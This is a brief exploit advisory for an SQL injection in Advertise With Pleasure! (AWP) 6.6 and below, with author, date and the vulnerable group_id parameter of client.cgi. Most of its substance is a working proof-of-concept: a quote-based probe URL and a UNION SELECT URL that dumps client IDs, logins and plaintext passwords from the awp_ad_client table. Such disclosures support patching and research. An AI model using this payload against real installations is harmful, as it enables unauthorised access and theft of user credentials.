Advertise With Pleasure! (AWP) versions 6.6 and below suffer from a remote SQL injection vulnerability.
72e4a5d89d9aa977743f9d3d6058c78f79f302c29bdd64e87d4ed980c34f854f
# Exploit Title: Advertise With Pleasure! (AWP) <= 6.6 - SQL Injection vulnerability
# Date: 12/02/2014
# Author: Robert Cooper (robertc[at]areyousecure.net)
# Software Link: http://www.guruperl.net/products/awppro/
# Tested on: [Linux/Windows 7]
# Vulnerable Parameter: group_id=
##############################################################
PoC:
http://www.example.com/cgi/client.cgi?act=list_zone&group_id=1'
http://www.example.com/cgi/client.cgi?act=list_zone&group_id=1 union all select 1,2,group_concat(id,0x3a,login,0x3a,password,0x0a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 from awp_ad_client--
(Passwords are stored in plaintext)
##############################################################
http://www.areyousecure.net